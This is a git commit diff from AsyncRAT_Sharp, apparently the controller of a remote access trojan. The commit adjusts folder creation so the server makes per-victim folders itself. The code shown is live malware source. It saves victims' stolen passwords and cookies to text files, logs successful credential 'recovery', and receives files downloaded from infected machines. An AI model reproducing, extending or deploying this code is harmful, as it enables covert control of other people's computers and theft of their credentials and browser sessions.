Disable the client's permission to create folders

This commit is contained in:
NYAN CAT 2019-05-24 23:44:07 +03:00
parent e1ab0de5b3
commit 48be73d7ff
4 changed files with 7 additions and 2 deletions

View File

@ -721,6 +721,9 @@ namespace AsyncRAT_Sharp
{ {
Clients client = (Clients)itm.Tag; Clients client = (Clients)itm.Tag;
client.LV.ForeColor = Color.Red; client.LV.ForeColor = Color.Red;
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery");
if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath);
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
} }
} }

View File

@ -74,6 +74,8 @@ namespace AsyncRAT_Sharp.Forms
{ {
if (listView1.SelectedItems.Count > 0) if (listView1.SelectedItems.Count > 0)
{ {
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID)))
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID));
foreach (ListViewItem itm in listView1.SelectedItems) foreach (ListViewItem itm in listView1.SelectedItems)
{ {
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();

View File

@ -177,7 +177,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
if (SD != null) if (SD != null)
{ {
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))); return;
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
if (File.Exists(filename)) if (File.Exists(filename))
{ {

View File

@ -19,7 +19,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery"); string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID + "\\Recovery");
if (!Directory.Exists(fullPath)) if (!Directory.Exists(fullPath))
Directory.CreateDirectory(fullPath); return;
File.WriteAllText(fullPath + "\\Password.txt", unpack_msgpack.ForcePathObject("Password").AsString); File.WriteAllText(fullPath + "\\Password.txt", unpack_msgpack.ForcePathObject("Password").AsString);
File.WriteAllText(fullPath + "\\Cookies.txt", unpack_msgpack.ForcePathObject("Cookies").AsString); File.WriteAllText(fullPath + "\\Cookies.txt", unpack_msgpack.ForcePathObject("Cookies").AsString);
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple); new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);